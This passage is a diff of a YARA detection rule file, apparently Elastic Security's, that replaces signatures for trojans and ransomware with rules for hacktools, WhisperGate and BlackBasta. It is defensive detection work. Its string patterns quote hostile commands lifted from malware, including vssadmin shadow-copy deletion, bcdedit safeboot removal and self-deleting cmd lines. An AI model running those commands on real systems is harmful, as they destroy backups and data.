+		$register_x64_2 = { 48 8D 1D ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? }
+		$register_x64_3 = { E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 66 90 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 85 C9 48 8B 8C 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 45 CA 48 8B 54 24 ?? BE ?? ?? ?? ?? 48 0F 45 D6 48 85 DB 74 ?? 48 8D BC 24 ?? ?? ?? ?? 48 8D 7F ?? 0F 1F 00 48 89 6C 24 ?? 48 8D 6C 24 ?? }
+		$register_x64_4 = { 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 85 C9 48 8B 8C 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 45 CA 48 89 8C 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 0F 45 F7 48 89 B4 24 ?? ?? ?? ?? }
+		$register_x64_5 = { 48 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 85 C9 48 8B 8C 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 45 CA 48 89 8C 24 ?? ?? ?? ?? 48 8B 54 24 ?? BE ?? ?? ?? ?? 48 0F 45 D6 48 89 54 24 ?? }
+		$register_x64_6 = { E8 ?? ?? ?? ?? 48 8B 6D ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? }
+		$register_x64_7 = { E8 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 48 ?? 48 8B 4C 24 ?? 48 89 48 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? }
+		$register_x64_8 = { 48 8D 7F ?? 0F 1F 00 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 4C 8D 15 ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? }
+		$register_x86_1 = { E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 0C 24 8B 54 24 ?? 85 C0 74 ?? 31 C9 31 D2 89 54 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 04 24 8B 4C 24 ?? 85 C9 74 ?? 8D 7C 24 ?? }
+		$register_x86_2 = { 8D 0D ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? }
+		$register_x86_3 = { C7 40 ?? ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 48 ?? 8B 4C 24 ?? 89 48 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? }
+		$register_x86_4 = { E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 0C 24 8B 54 24 ?? 85 C0 74 ?? 31 C9 31 D2 89 54 24 ?? 89 ?? 24 }
+		$register_x86_5 = { 8B 04 24 89 84 24 ?? ?? ?? ?? 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 04 24 8B 4C 24 ?? 8B 54 24 ?? 85 D2 74 ?? 31 C0 31 C9 89 4C 24 ?? 89 84 24 ?? ?? ?? ?? 8D 15 ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? }
 
 	condition:
-		2 of them
+		1 of ($session_start_*) and 1 of ($register_*)
 }
-rule ELASTIC_Windows_Trojan_Svcready_Af498D39 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharpapplocker_9645Cf22 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Svcready (Windows.Trojan.SVCReady)"
+		description = "Detects Windows Hacktool Sharpapplocker (Windows.Hacktool.SharpAppLocker)"
 		author = "Elastic Security"
-		id = "af498d39-6ae8-46de-ad6c-81b346d80139"
-		date = "2022-06-12"
-		modified = "2022-07-18"
+		id = "9645cf22-f9b3-45ff-a5d8-513c59ad3d53"
+		date = "2022-11-20"
+		modified = "2023-01-11"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SVCReady.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "08e427c92010a8a282c894cf5a77a874e09c08e283a66f1905c131871cc4d273"
-		logic_hash = "e3520103064cf82cd1747f8889667929d23466c9febfda7e4968a3679db97d71"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpAppLocker.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0f7390905abc132889f7b9a6d5b42701173aafbff5b8f8882397af35d8c10965"
+		logic_hash = "cb72ecf7715b288acddac51dab091d84c64e3bd30276cba38a0d773e6693875c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "6e30d9977698c7864a8c264a7fe8c9a558f6e51dda9c887bda94261ce187645f"
+		fingerprint = "720a96f7baa8af4e6189709ee906350c291e175ac861c83d425b235d9217bb32"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77407,32 +81546,31 @@ rule ELASTIC_Windows_Trojan_Svcready_Af498D39 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "RunPEDllNative::HookNtCreateUserProcess fail: targetMapping.valid" ascii fullword
-		$a2 = "Section Mapping error:Process=0x%x Section [%s] res[0x%x] != va[0x%x] Status:%u" ascii fullword
-		$a3 = "%s - %I64d < %I64d > %I64d clicks, %I64d pixels, ready=%i" ascii fullword
-		$a4 = "Svc:windowThreadRunner done" ascii fullword
-		$a5 = "svc commonMain" ascii fullword
+		$guid = "FE102D27-DEC4-42E2-BF69-86C79E08B67D" ascii wide nocase
+		$print_str0 = "[+] Output written to:" ascii wide fullword
+		$print_str1 = "[!] You can only select one Policy at the time." ascii wide fullword
+		$print_str2 = "SharpAppLocker.exe --effective --allow --rules=\"FileHashRule,FilePathRule\" --outfile=\"C:\\Windows\\Tasks\\Rules.json\"" ascii wide fullword
 
 	condition:
-		4 of them
+		$guid or all of ($print_str*)
 }
-rule ELASTIC_Windows_Trojan_Warmcookie_7D32Fa90 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharpersist_06606812 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Warmcookie (Windows.Trojan.WarmCookie)"
+		description = "Detects Windows Hacktool Sharpersist (Windows.Hacktool.Sharpersist)"
 		author = "Elastic Security"
-		id = "7d32fa90-c6e0-4a4b-bc21-51d82c57721e"
-		date = "2024-04-29"
-		modified = "2024-05-08"
-		reference = "https://www.elastic.co/security-labs/dipping-into-danger"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_WarmCookie.yar#L1-L32"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13"
-		logic_hash = "ed3be6e5c6127ef87f9ef6fe35b17815b96706e8e73a393ee9b0a8e3b0cd8f66"
+		id = "06606812-2be2-4155-a82b-6ab4629c5b5a"
+		date = "2022-10-20"
+		modified = "2022-11-24"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharPersist.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e9711f47cf9171f79bf34b342279f6fd9275c8ae65f3eb2c6ebb0b8432ea14f8"
+		logic_hash = "ddabfb54422f6fb2ad6999b724b1d8f186adf71f96f01a8770715029529e869a"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "ae6c81fc7b0ba16567fefa714d043556afa44bfd698f6478c21d6e6428b14858"
+		fingerprint = "44fd3f1146d81c34051f8ef4619db369d364e809799e7ca57bea93fb8fef5d4c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77440,71 +81578,61 @@ rule ELASTIC_Windows_Trojan_Warmcookie_7D32Fa90 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
-		$seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
-		$seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
-		$seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
-		$plain_str1 = "release.dll" ascii fullword
-		$plain_str2 = "\"Main Invoked.\"" ascii fullword
-		$plain_str3 = "\"Main Returned.\"" ascii fullword
-		$decrypt_str1 = "ERROR: Cannot write file" wide fullword
-		$decrypt_str2 = "OK (No output data)" wide fullword
-		$decrypt_str3 = "OK (See 'Files' tab)" wide fullword
-		$decrypt_str4 = "cmd.exe /c %ls" wide fullword
-		$decrypt_str5 = "Cookie:" wide fullword
-		$decrypt_str6 = "%ls\\*.*" wide fullword
+		$guid = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii wide nocase
+		$print_str0 = "schtaskbackdoor: backdoor scheduled task" ascii wide
+		$print_str1 = "schtaskbackdoor -m list -n <schtask name>" ascii wide
+		$print_str2 = "SharPersist" ascii wide
+		$print_str3 = "[+] SUCCESS: Keepass persistence backdoor added" ascii wide
 
 	condition:
-		(3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
+		$guid or all of ($print_str*)
 }
-rule ELASTIC_Windows_Ransomware_Pandora_Bca8Ce23 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Tcpscan_334D0Ca5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Pandora (Windows.Ransomware.Pandora)"
+		description = "Detects Linux Hacktool Tcpscan (Linux.Hacktool.Tcpscan)"
 		author = "Elastic Security"
-		id = "bca8ce23-6722-4cda-b5fa-623eda4fca1b"
-		date = "2022-03-14"
-		modified = "2022-04-12"
+		id = "334d0ca5-d143-4a32-8632-9fbdd2d96987"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Pandora.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2c940a35025dd3847f7c954a282f65e9c2312d2ada28686f9d1dc73d1c500224"
-		logic_hash = "52203c1af994667ba6833defe547e886dd02167e4d76c57711080e3be0473bfc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Tcpscan.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "62de04185c2e3c22af349479a68ad53c31b3874794e7c4f0f33e8d125c37f6b0"
+		logic_hash = "94ee723c660294e35caec5a2b66eeea64896265cfebc839ed3f55cf8f8c67d7e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0da732f6bdf24f35dee3c1bf85435650a5ce9b5c6a93f01176659943c01ad711"
+		fingerprint = "1f8fc064770bd76577b9455ae858d8a98b573e01a199adf2928d8433d990eaa7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "/c vssadmin.exe delete shadows /all /quiet" wide fullword
-		$a2 = "\\Restore_My_Files.txt" wide fullword
-		$a3 = ".pandora" wide fullword
+		$a = { C4 10 89 45 D4 83 7D D4 00 79 1A 83 EC 0C 68 13 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Crytox_29859242 : FILE MEMORY
+rule ELASTIC_Windows_Virus_Expiro_84E99Ff0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Crytox (Windows.Ransomware.Crytox)"
+		description = "Detects Windows Virus Expiro (Windows.Virus.Expiro)"
 		author = "Elastic Security"
-		id = "29859242-adf4-4d17-afdf-dbc02f5b787b"
-		date = "2024-01-18"
-		modified = "2024-02-08"
+		id = "84e99ff0-bff3-4a9c-93fb-504a32cbc44d"
+		date = "2023-09-26"
+		modified = "2023-11-02"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Crytox.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "55a27cb6280f31c077987d338151b13e9dc0cc1c14d47a32e64de6d6c1a6a742"
-		logic_hash = "47ca96e14b2b56bc6ef1ed22b42adac7aa557170632c2dc085fae3baf6198f40"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Virus_Expiro.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "47107836ead700bddbe9e8a0c016b5b1443c785442b2addbb50a70445779bad7"
+		logic_hash = "ce4847bf5850c1f30dca9603bfbbfbb69339285f096ac469c6d2d4b04f5562b4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "999713c1815d61904f13f7f9cbaf34b116f53af223b2aac20bf0d88af107dbae"
+		fingerprint = "843182cbbf7ff65699001f074972d584c65bdb1e1d76210b44cf6ba06830253c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77512,28 +81640,29 @@ rule ELASTIC_Windows_Ransomware_Crytox_29859242 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 48 83 C7 20 D7 C1 C8 08 D7 C1 C8 08 D7 C1 C8 08 D7 C1 C8 10 33 C2 33 47 E0 D0 E2 }
+		$a1 = { 50 51 52 53 55 56 57 E8 00 00 00 00 5B 81 EB ?? ?? ?? 00 BA 00 00 00 00 53 81 }
+		$a2 = { 81 C2 00 04 00 00 81 C3 00 04 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Ransomware_Hive_Bdc7De59 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Fontonlake_68Ad8568 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Hive (Linux.Ransomware.Hive)"
+		description = "Detects Linux Hacktool Fontonlake (Linux.Hacktool.Fontonlake)"
 		author = "Elastic Security"
-		id = "bdc7de59-bf12-461f-99e0-ec2532ace4e9"
-		date = "2022-01-05"
+		id = "68ad8568-2b00-4680-a83f-1689eff6099c"
+		date = "2021-10-12"
 		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Hive.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "713b699c04f21000fca981e698e1046d4595f423bd5741d712fd7e0bc358c771"
-		logic_hash = "33908128258843d63c5dfe5acf15cfd68463f5cbdf08b88ef1bba394058a5a92"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Fontonlake.yar#L1-L30"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "717953f52318e7687fc95626561cc607d4875d77ff7e3cf5c7b21cf91f576fa4"
+		logic_hash = "63dd5769305c715e27e3c62160f7b0f65b57204009ed46383b5b477c67cfac8e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "415ef589a1c2da6b16ab30fb68f938a9ee7917f5509f73aa90aeec51c10dc1ff"
+		fingerprint = "81936e696a525cf02070fa7cfa27574cdad37e1b3d8f278950390a1945c21611"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77541,28 +81670,39 @@ rule ELASTIC_Linux_Ransomware_Hive_Bdc7De59 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 40 03 4C 39 C1 73 3A 4C 89 84 24 F0 00 00 00 48 89 D3 48 89 CF 4C }
+		$s1 = "run_in_bash"
+		$s2 = "run_in_ss"
+		$s3 = "real_bash_fork"
+		$s4 = "fake_bash_add_history"
+		$s5 = "hook_bash_add_history"
+		$s6 = "real_bash_add_history"
+		$s7 = "real_current_user.5417"
+		$s8 = "real_bash_execve"
+		$s9 = "inject_so_symbol.c"
+		$s10 = "/root/rmgr_ko/subhook-0.5/subhook_x86.c"
+		$s11 = "|1|%ld|%d|%d|%d|%d|%s|%s"
+		$s12 = "/proc/.dot3"
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Windows_Trojan_Lobshot_013C1B0B : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Whispergate_C80F3B4B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Lobshot (Windows.Trojan.Lobshot)"
+		description = "Detects Windows Ransomware Whispergate (Windows.Ransomware.WhisperGate)"
 		author = "Elastic Security"
-		id = "013c1b0b-da18-4c09-ab18-5c8428a1f4dc"
-		date = "2023-04-18"
-		modified = "2023-04-23"
-		reference = "https://www.elastic.co/security-labs/elastic-security-labs-discovers-lobshot-malware"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Lobshot.yar#L1-L30"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6"
-		logic_hash = "e1fb245c3441c9bd393a47a9bed01bf7f62aa3ec36d460584d75e326e7e92ad4"
+		id = "c80f3b4b-f91b-4b8d-908e-f64c2c5d4b30"
+		date = "2022-01-17"
+		modified = "2022-01-17"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_WhisperGate.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92"
+		logic_hash = "04452141a867d4f6fce618c21795cc142a1265b56c62ecb9e579003d36b4b2b9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e39109421b3e156f814d33f1df327005f808f58f59bfe34ed6190076d7aace4b"
+		fingerprint = "e8ad6a7cfabf96387deee56f38b0f0ba6d8fe85e7be9f153ccf72d69ee5db1c9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77570,38 +81710,29 @@ rule ELASTIC_Windows_Trojan_Lobshot_013C1B0B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$str0 = "HVNC Remote Control" ascii fullword
-		$str1 = " Error # %d - %08lx" ascii fullword
-		$str2 = "Set  clipboard text failed." ascii fullword
-		$str3 = "OK %08lx %08lx %d" ascii fullword
-		$str4 = "\") & (rundll32.exe \"" wide fullword
-		$str5 = "%LOCALAPPDATA%\\svc.db" wide fullword
-		$str6 = "cmd.exe /c (ping -n 10 127.0.0.1) & (del /F /Q \"" wide fullword
-		$seq_str_decrypt = { 8A 5A ?? 8D 52 ?? 80 EB ?? 85 FF 74 ?? C0 E0 ?? 2C ?? 0A C3 32 C1 32 C7 88 06 32 E8 83 C6 ?? 83 C5 ?? EB ?? }
-		$seq_emu_check = { 8B 35 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? C7 44 24 ?? 48 41 4C 39 50 C7 44 24 ?? 54 48 00 00 FF D6 }
-		$seq_enum_xor = { FF 15 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 83 7C 24 ?? 00 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 68 07 80 00 00 8B 41 ?? 8A 00 32 01 A2 ?? ?? ?? ?? }
-		$seq_create_guid = { 8D 48 ?? 80 F9 ?? 77 ?? 2C ?? C1 E2 ?? 46 0F B6 C8 0B D1 83 FE ?? 7C ?? 5F 8B C2 5E C3 }
+		$buffer = { E8 ?? ?? ?? ?? BE 20 40 40 00 29 C4 8D BD E8 DF FF FF E8 ?? ?? ?? ?? B9 00 08 00 00 F3 A5 }
+		$note = { 59 6F 75 72 20 68 61 72 64 20 64 72 69 76 65 20 68 61 73 20 62 65 65 6E 20 63 6F 72 72 75 70 74 65 64 2E 0D 0A }
 
 	condition:
-		2 of ($seq*) or 5 of ($str*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Conti_89F3F6Fa : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Whispergate_3476008E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Conti (Windows.Ransomware.Conti)"
+		description = "Detects Windows Ransomware Whispergate (Windows.Ransomware.WhisperGate)"
 		author = "Elastic Security"
-		id = "89f3f6fa-492c-40e3-a4aa-a526004197b2"
-		date = "2021-08-05"
-		modified = "2021-10-04"
+		id = "3476008e-1c98-4606-b60b-7fef0e360711"
+		date = "2022-01-18"
+		modified = "2022-01-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Conti.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "eae876886f19ba384f55778634a35a1d975414e83f22f6111e3e792f706301fe"
-		logic_hash = "4c1834e45d5e42f466249b75a89561ce1e88b9e3c07070e2833d4897fbed22ee"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_WhisperGate.yar#L22-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
+		logic_hash = "729818df1b6b82fc00eba0fe1c9139ec4746e1775146ab7fdea9e25dec1cddea"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a82331eba3cbd52deb4bed5e11035ac1e519ec27931507f582f2985865c0fb1a"
+		fingerprint = "0b8caff8cf9342bd50053712bf4c9aeab68532e340cc5e6cf400105afc150e39"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77609,28 +81740,31 @@ rule ELASTIC_Windows_Ransomware_Conti_89F3F6Fa : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { F7 FE 88 57 FF 83 EB 01 75 DA 8B 45 FC 5F 5B 40 5E 8B E5 5D C3 8D }
+		$a1 = "cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q \"%s\"" ascii fullword
+		$a2 = "%.*s.%x" wide fullword
+		$a3 = "A:\\Windows" wide fullword
+		$a4 = ".ONETOC2" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Privateloader_96Ac2734 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Blackbasta_494D3C54 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Privateloader (Windows.Trojan.PrivateLoader)"
+		description = "Detects Windows Ransomware Blackbasta (Windows.Ransomware.BlackBasta)"
 		author = "Elastic Security"
-		id = "96ac2734-e36c-4ce2-bb40-b6bd77694333"
-		date = "2023-01-03"
-		modified = "2023-02-01"
+		id = "494d3c54-4690-4334-b64d-ebeeb305de0e"
+		date = "2022-08-06"
+		modified = "2022-08-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PrivateLoader.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "077225467638a420cf29fb9b3f0241416dcb9ed5d4ba32fdcf2bf28f095740bb"
-		logic_hash = "9f96f1c54853866e124d0996504e6efd3d154111390617999cc10520d7f68fe6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_BlackBasta.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "357fe8c56e246ffacd54d12f4deb9f1adb25cb772b5cd2436246da3f2d01c222"
+		logic_hash = "1ecb3c95a2d3f91d267f0b625fffc8477612fde9de3942eff8eb13115c0af6b8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "029056908abef6c3ceecf7956e64a6d25b67c391f699516b3202d2aa3733f15a"
+		fingerprint = "27602cb05c054a1aa9e27b91675d57707f4a63fa91badc83ad86229839778f4e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77638,31 +81772,36 @@ rule ELASTIC_Windows_Trojan_Privateloader_96Ac2734 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$xor_decrypt = { 0F 28 85 ?? ?? FF FF 66 0F EF ?? ?? FE FF FF 0F 29 85 ?? ?? FF FF 0F 28 85 ?? ?? FF FF }
-		$str0 = "https://ipinfo.io/" wide
-		$str1 = "Content-Type: application/x-www-form-urlencoded" wide
-		$str2 = "https://db-ip.com/" wide
+		$a1 = "Done time: %.4f seconds, encrypted: %.4f gb" ascii fullword
+		$a2 = "Creating readme at %s" wide fullword
+		$a3 = "All of your files are currently encrypted by no_name_software." ascii fullword
+		$a4 = "DON'T move or rename your files. These parameters can be used for encryption/decryption process." ascii fullword
+		$b1 = "Your data are stolen and encrypted" ascii fullword
+		$b2 = "bcdedit /deletevalue safeboot" ascii fullword
+		$b3 = "Your company id for log in:"
+		$byte_seq = { 0F AF 45 DC 8B CB 0F AF 4D DC 0F AF 5D D8 0F AF 55 D8 8B F9 }
+		$byte_seq2 = { 18 FF 24 1E 18 FF 64 61 5D FF CF CF CF FF D0 D0 D0 FF D0 D0 D0 FF }
 
 	condition:
-		all of ($str*) and #xor_decrypt>3
+		4 of them
 }
-rule ELASTIC_Windows_Hacktool_Sharpview_2C7603Ad : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Quasarrat_E52Df647 : FILE MEMORY
 {
 	meta:
